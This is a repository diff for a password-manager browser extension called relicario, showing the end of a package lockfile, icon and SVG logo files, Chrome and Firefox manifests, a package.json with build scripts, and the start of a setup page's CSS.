"resolve": ["resolve@1.22.12", "", { "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA=="],
|
||||
|
||||
"resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
|
||||
|
||||
"resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
|
||||
|
||||
"reusify": ["reusify@1.1.0", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="],
|
||||
|
||||
"rollup": ["rollup@4.60.2", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.60.2", "@rollup/rollup-android-arm64": "4.60.2", "@rollup/rollup-darwin-arm64": "4.60.2", "@rollup/rollup-darwin-x64": "4.60.2", "@rollup/rollup-freebsd-arm64": "4.60.2", "@rollup/rollup-freebsd-x64": "4.60.2", "@rollup/rollup-linux-arm-gnueabihf": "4.60.2", "@rollup/rollup-linux-arm-musleabihf": "4.60.2", "@rollup/rollup-linux-arm64-gnu": "4.60.2", "@rollup/rollup-linux-arm64-musl": "4.60.2", "@rollup/rollup-linux-loong64-gnu": "4.60.2", "@rollup/rollup-linux-loong64-musl": "4.60.2", "@rollup/rollup-linux-ppc64-gnu": "4.60.2", "@rollup/rollup-linux-ppc64-musl": "4.60.2", "@rollup/rollup-linux-riscv64-gnu": "4.60.2", "@rollup/rollup-linux-riscv64-musl": "4.60.2", "@rollup/rollup-linux-s390x-gnu": "4.60.2", "@rollup/rollup-linux-x64-gnu": "4.60.2", "@rollup/rollup-linux-x64-musl": "4.60.2", "@rollup/rollup-openbsd-x64": "4.60.2", "@rollup/rollup-openharmony-arm64": "4.60.2", "@rollup/rollup-win32-arm64-msvc": "4.60.2", "@rollup/rollup-win32-ia32-msvc": "4.60.2", "@rollup/rollup-win32-x64-gnu": "4.60.2", "@rollup/rollup-win32-x64-msvc": "4.60.2", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-J9qZyW++QK/09NyN/zeO0dG/1GdGfyp9lV8ajHnRVLfo/uFsbji5mHnDgn/qYdUHyCkM2N+8VyspgZclfAh0eQ=="],
|
||||
|
||||
"run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
|
||||
|
||||
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
|
||||
|
||||
"schema-utils": ["schema-utils@4.3.3", "", { "dependencies": { "@types/json-schema": "^7.0.9", "ajv": "^8.9.0", "ajv-formats": "^2.1.1", "ajv-keywords": "^5.1.0" } }, "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA=="],
|
||||
|
||||
"semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
|
||||
|
||||
"serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="],
|
||||
|
||||
"shallow-clone": ["shallow-clone@3.0.1", "", { "dependencies": { "kind-of": "^6.0.2" } }, "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA=="],
|
||||
|
||||
"shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="],
|
||||
|
||||
"shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="],
|
||||
|
||||
"siginfo": ["siginfo@2.0.0", "", {}, "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g=="],
|
||||
|
||||
"slash": ["slash@5.1.0", "", {}, "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg=="],
|
||||
|
||||
"source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="],
|
||||
|
||||
"source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
|
||||
|
||||
"source-map-support": ["source-map-support@0.5.21", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w=="],
|
||||
|
||||
"stackback": ["stackback@0.0.2", "", {}, "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw=="],
|
||||
|
||||
"std-env": ["std-env@3.10.0", "", {}, "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg=="],
|
||||
|
||||
"supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
|
||||
|
||||
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
|
||||
|
||||
"tapable": ["tapable@2.3.2", "", {}, "sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA=="],
|
||||
|
||||
"terser": ["terser@5.46.1", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.15.0", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": { "terser": "bin/terser" } }, "sha512-vzCjQO/rgUuK9sf8VJZvjqiqiHFaZLnOiimmUuOKODxWL8mm/xua7viT7aqX7dgPY60otQjUotzFMmCB4VdmqQ=="],
|
||||
|
||||
"terser-webpack-plugin": ["terser-webpack-plugin@5.4.0", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.25", "jest-worker": "^27.4.5", "schema-utils": "^4.3.0", "terser": "^5.31.1" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-Bn5vxm48flOIfkdl5CaD2+1CiUVbonWQ3KQPyP7/EuIl9Gbzq/gQFOzaMFUEgVjB1396tcK0SG8XcNJ/2kDH8g=="],
|
||||
|
||||
"tinybench": ["tinybench@2.9.0", "", {}, "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg=="],
|
||||
|
||||
"tinyexec": ["tinyexec@0.3.2", "", {}, "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA=="],
|
||||
|
||||
"tinypool": ["tinypool@1.1.1", "", {}, "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg=="],
|
||||
|
||||
"tinyrainbow": ["tinyrainbow@1.2.0", "", {}, "sha512-weEDEq7Z5eTHPDh4xjX789+fHfF+P8boiFB+0vbWzpbnbsEr/GRaohi/uMKxg8RZMXnl1ItAi/IUHWMsjDV7kQ=="],
|
||||
|
||||
"tinyspy": ["tinyspy@3.0.2", "", {}, "sha512-n1cw8k1k0x4pgA2+9XrOkFydTerNcJ1zWCO5Nn9scWHTD+5tp8dghT2x1uduQePZTZgd3Tupf+x9BxJjeJi77Q=="],
|
||||
|
||||
"to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="],
|
||||
|
||||
"ts-loader": ["ts-loader@9.5.7", "", { "dependencies": { "chalk": "^4.1.0", "enhanced-resolve": "^5.0.0", "micromatch": "^4.0.0", "semver": "^7.3.4", "source-map": "^0.7.4" }, "peerDependencies": { "typescript": "*", "webpack": "^5.0.0" } }, "sha512-/ZNrKgA3K3PtpMYOC71EeMWIloGw3IYEa5/t1cyz2r5/PyUwTXGzYJvcD3kfUvmhlfpz1rhV8B2O6IVTQ0avsg=="],
|
||||
|
||||
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
|
||||
|
||||
"undici-types": ["undici-types@7.19.2", "", {}, "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg=="],
|
||||
|
||||
"unicorn-magic": ["unicorn-magic@0.3.0", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="],
|
||||
|
||||
"update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
|
||||
|
||||
"vite": ["vite@5.4.21", "", { "dependencies": { "esbuild": "^0.21.3", "postcss": "^8.4.43", "rollup": "^4.20.0" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || >=20.0.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.4.0" }, "optionalPeers": ["@types/node", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser"], "bin": { "vite": "bin/vite.js" } }, "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw=="],
|
||||
|
||||
"vite-node": ["vite-node@2.1.9", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.3.7", "es-module-lexer": "^1.5.4", "pathe": "^1.1.2", "vite": "^5.0.0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA=="],
|
||||
|
||||
"vitest": ["vitest@2.1.9", "", { "dependencies": { "@vitest/expect": "2.1.9", "@vitest/mocker": "2.1.9", "@vitest/pretty-format": "^2.1.9", "@vitest/runner": "2.1.9", "@vitest/snapshot": "2.1.9", "@vitest/spy": "2.1.9", "@vitest/utils": "2.1.9", "chai": "^5.1.2", "debug": "^4.3.7", "expect-type": "^1.1.0", "magic-string": "^0.30.12", "pathe": "^1.1.2", "std-env": "^3.8.0", "tinybench": "^2.9.0", "tinyexec": "^0.3.1", "tinypool": "^1.0.1", "tinyrainbow": "^1.2.0", "vite": "^5.0.0", "vite-node": "2.1.9", "why-is-node-running": "^2.3.0" }, "peerDependencies": { "@edge-runtime/vm": "*", "@types/node": "^18.0.0 || >=20.0.0", "@vitest/browser": "2.1.9", "@vitest/ui": "2.1.9", "happy-dom": "*", "jsdom": "*" }, "optionalPeers": ["@edge-runtime/vm", "@types/node", "@vitest/browser", "@vitest/ui", "happy-dom", "jsdom"], "bin": { "vitest": "vitest.mjs" } }, "sha512-MSmPM9REYqDGBI8439mA4mWhV5sKmDlBKWIYbA3lRb2PTHACE0mgKwA8yQ2xq9vxDTuk4iPrECBAEW2aoFXY0Q=="],
|
||||
|
||||
"watchpack": ["watchpack@2.5.1", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg=="],
|
||||
|
||||
"webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
|
||||
|
||||
"webpack": ["webpack@5.106.1", "", { "dependencies": { "@types/eslint-scope": "^3.7.7", "@types/estree": "^1.0.8", "@types/json-schema": "^7.0.15", "@webassemblyjs/ast": "^1.14.1", "@webassemblyjs/wasm-edit": "^1.14.1", "@webassemblyjs/wasm-parser": "^1.14.1", "acorn": "^8.16.0", "acorn-import-phases": "^1.0.3", "browserslist": "^4.28.1", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.20.0", "es-module-lexer": "^2.0.0", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.3.1", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^4.3.3", "tapable": "^2.3.0", "terser-webpack-plugin": "^5.3.17", "watchpack": "^2.5.1", "webpack-sources": "^3.3.4" }, "bin": { "webpack": "bin/webpack.js" } }, "sha512-EW8af29ak8Oaf4T8k8YsajjrDBDYgnKZ5er6ljWFJsXABfTNowQfvHLftwcepVgdz+IoLSdEAbBiM9DFXoll9w=="],
|
||||
|
||||
"webpack-cli": ["webpack-cli@5.1.4", "", { "dependencies": { "@discoveryjs/json-ext": "^0.5.0", "@webpack-cli/configtest": "^2.1.1", "@webpack-cli/info": "^2.0.2", "@webpack-cli/serve": "^2.0.5", "colorette": "^2.0.14", "commander": "^10.0.1", "cross-spawn": "^7.0.3", "envinfo": "^7.7.3", "fastest-levenshtein": "^1.0.12", "import-local": "^3.0.2", "interpret": "^3.1.1", "rechoir": "^0.8.0", "webpack-merge": "^5.7.3" }, "peerDependencies": { "webpack": "5.x.x" }, "bin": { "webpack-cli": "bin/cli.js" } }, "sha512-pIDJHIEI9LR0yxHXQ+Qh95k2EvXpWzZ5l+d+jIo+RdSm9MiHfzazIxwwni/p7+x4eJZuvG1AJwgC4TNQ7NRgsg=="],
|
||||
|
||||
"webpack-merge": ["webpack-merge@5.10.0", "", { "dependencies": { "clone-deep": "^4.0.1", "flat": "^5.0.2", "wildcard": "^2.0.0" } }, "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA=="],
|
||||
|
||||
"webpack-sources": ["webpack-sources@3.3.4", "", {}, "sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q=="],
|
||||
|
||||
"whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
|
||||
|
||||
"which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
|
||||
|
||||
"why-is-node-running": ["why-is-node-running@2.3.0", "", { "dependencies": { "siginfo": "^2.0.0", "stackback": "0.0.2" }, "bin": { "why-is-node-running": "cli.js" } }, "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w=="],
|
||||
|
||||
"wildcard": ["wildcard@2.0.1", "", {}, "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ=="],
|
||||
|
||||
"esrecurse/estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="],
|
||||
|
||||
"fast-glob/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
|
||||
|
||||
"jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
|
||||
|
||||
"source-map-support/source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="],
|
||||
|
||||
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
|
||||
|
||||
"vite-node/es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="],
|
||||
}
|
||||
}
|
||||
BIN
extension/icons/icon-128.png
Normal file
BIN
extension/icons/icon-128.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.3 KiB |
BIN
extension/icons/icon-16.png
Normal file
BIN
extension/icons/icon-16.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 886 B |
BIN
extension/icons/icon-48.png
Normal file
BIN
extension/icons/icon-48.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
24
extension/icons/relicario-logo-16.svg
Normal file
24
extension/icons/relicario-logo-16.svg
Normal file
@@ -0,0 +1,24 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="none">
|
||||
<!-- 16x16-optimized: bolder strokes, simplified details, single gem
|
||||
facet for crisp pixels at toolbar size. -->
|
||||
|
||||
<!-- Base plate -->
|
||||
<rect x="1" y="13" width="14" height="2" rx="0.5" fill="#58a6ff"/>
|
||||
|
||||
<!-- Arched reliquary body -->
|
||||
<path d="M 3 13
|
||||
L 3 6
|
||||
C 3 3.5, 5 2, 8 2
|
||||
C 11 2, 13 3.5, 13 6
|
||||
L 13 13 Z"
|
||||
fill="#161b22"
|
||||
stroke="#58a6ff"
|
||||
stroke-width="1"
|
||||
stroke-linejoin="round"/>
|
||||
|
||||
<!-- Seal band -->
|
||||
<rect x="3" y="6" width="10" height="1" fill="#58a6ff"/>
|
||||
|
||||
<!-- Central gem — a simple filled diamond -->
|
||||
<path d="M 8 8 L 10 10 L 8 12 L 6 10 Z" fill="#58a6ff"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 745 B |
38
extension/icons/relicario-logo.svg
Normal file
38
extension/icons/relicario-logo.svg
Normal file
@@ -0,0 +1,38 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" fill="none">
|
||||
<!-- relicario: a reliquary — a vessel that holds precious things.
|
||||
Arched container with a horizontal seal band, a central gem
|
||||
(the "relic"), standing on a base plate.
|
||||
Palette: gh-dark #0d1117/#161b22 background, #58a6ff primary,
|
||||
#79c0ff / #1f6feb gem facets. -->
|
||||
|
||||
<!-- Base plate / pedestal — extends slightly beyond the body. -->
|
||||
<rect x="18" y="104" width="92" height="10" rx="2" fill="#58a6ff"/>
|
||||
<rect x="18" y="112" width="92" height="2" fill="#1f6feb"/>
|
||||
|
||||
<!-- Reliquary body: rounded arch over a rectangular casket. -->
|
||||
<path d="M 28 104
|
||||
L 28 54
|
||||
C 28 34, 44 20, 64 20
|
||||
C 84 20, 100 34, 100 54
|
||||
L 100 104 Z"
|
||||
fill="#161b22"
|
||||
stroke="#58a6ff"
|
||||
stroke-width="4"
|
||||
stroke-linejoin="round"/>
|
||||
|
||||
<!-- Horizontal seal band across the arch-to-body transition. -->
|
||||
<rect x="26" y="56" width="76" height="5" fill="#58a6ff"/>
|
||||
|
||||
<!-- Small rivets at each end of the seal band. -->
|
||||
<circle cx="32" cy="58.5" r="2" fill="#0d1117"/>
|
||||
<circle cx="96" cy="58.5" r="2" fill="#0d1117"/>
|
||||
|
||||
<!-- The relic: a faceted diamond/gem centered in the casket chamber.
|
||||
Three tones suggest light hitting facets. -->
|
||||
<g transform="translate(64, 80)">
|
||||
<path d="M 0 -18 L 16 0 L 0 22 L -16 0 Z" fill="#58a6ff"/>
|
||||
<path d="M 0 -18 L 16 0 L 0 0 Z" fill="#79c0ff"/>
|
||||
<path d="M -16 0 L 0 -18 L 0 0 Z" fill="#1f6feb"/>
|
||||
<path d="M 0 22 L 16 0 L 0 0 Z" fill="#1f6feb" opacity="0.7"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
39
extension/manifest.firefox.json
Normal file
39
extension/manifest.firefox.json
Normal file
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "relicario",
|
||||
"version": "0.1.0",
|
||||
"description": "Two-factor encrypted password manager",
|
||||
"icons": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
},
|
||||
"browser_specific_settings": {
|
||||
"gecko": {
|
||||
"id": "relicario@adlee.work",
|
||||
"strict_min_version": "128.0"
|
||||
}
|
||||
},
|
||||
"permissions": ["storage", "activeTab", "clipboardWrite"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"background": {
|
||||
"scripts": ["service-worker.js"]
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "popup.html",
|
||||
"default_icon": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
}
|
||||
},
|
||||
"content_scripts": [{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["content.js"],
|
||||
"run_at": "document_idle"
|
||||
}],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
},
|
||||
"web_accessible_resources": []
|
||||
}
|
||||
34
extension/manifest.json
Normal file
34
extension/manifest.json
Normal file
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "relicario",
|
||||
"version": "0.1.0",
|
||||
"description": "Two-factor encrypted password manager",
|
||||
"icons": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
},
|
||||
"permissions": ["storage", "activeTab", "clipboardWrite"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"background": {
|
||||
"service_worker": "service-worker.js",
|
||||
"type": "module"
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "popup.html",
|
||||
"default_icon": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
}
|
||||
},
|
||||
"content_scripts": [{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["content.js"],
|
||||
"run_at": "document_idle"
|
||||
}],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
},
|
||||
"web_accessible_resources": []
|
||||
}
|
||||
25
extension/package.json
Normal file
25
extension/package.json
Normal file
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "relicario-extension",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"build": "webpack --mode production",
|
||||
"build:firefox": "webpack --config webpack.firefox.config.js --mode production",
|
||||
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
|
||||
"dev": "webpack --mode development --watch",
|
||||
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
|
||||
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm",
|
||||
"test": "vitest run",
|
||||
"test:watch": "vitest"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/chrome": "^0.1.40",
|
||||
"copy-webpack-plugin": "^12.0",
|
||||
"happy-dom": "^15",
|
||||
"ts-loader": "^9.5",
|
||||
"typescript": "^5.4",
|
||||
"vitest": "^2.0",
|
||||
"webpack": "^5.90",
|
||||
"webpack-cli": "^5.1"
|
||||
}
|
||||
}
|
||||
215
extension/setup.html
Normal file
215
extension/setup.html
Normal file
@@ -0,0 +1,215 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>relicario — vault setup</title>
|
||||
<link rel="stylesheet" href="styles.css">
|
||||
<style>
|
||||
body {
|
||||
width: auto;
|
||||
max-width: 560px;
|
||||
margin: 40px auto;
|
||||
padding: 0 20px;
|
||||
max-height: none;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.step-instructions {
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 6px;
|
||||
padding: 16px;
|
||||
margin: 12px 0;
|
||||
font-size: 12px;
|
||||
line-height: 1.7;
|
||||
}
|
||||
|
||||
.step-instructions ol {
|
||||
padding-left: 20px;
|
||||
}
|
||||
|
||||
.step-instructions li {
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.step-instructions code {
|
||||
background: #21262d;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.image-preview {
|
||||
max-width: 200px;
|
||||
max-height: 150px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid #30363d;
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.strength-bar {
|
||||
display: flex;
|
||||
gap: 3px;
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.strength-bar .seg {
|
||||
flex: 1;
|
||||
height: 5px;
|
||||
background: #21262d;
|
||||
border-radius: 3px;
|
||||
transition: background 0.25s ease, box-shadow 0.25s ease;
|
||||
}
|
||||
|
||||
/* zxcvbn score-driven colors. Higher-scored bars light up earlier bars too. */
|
||||
.strength-bar.s0 .seg.i0 { background: #f85149; }
|
||||
.strength-bar.s1 .seg.i0,
|
||||
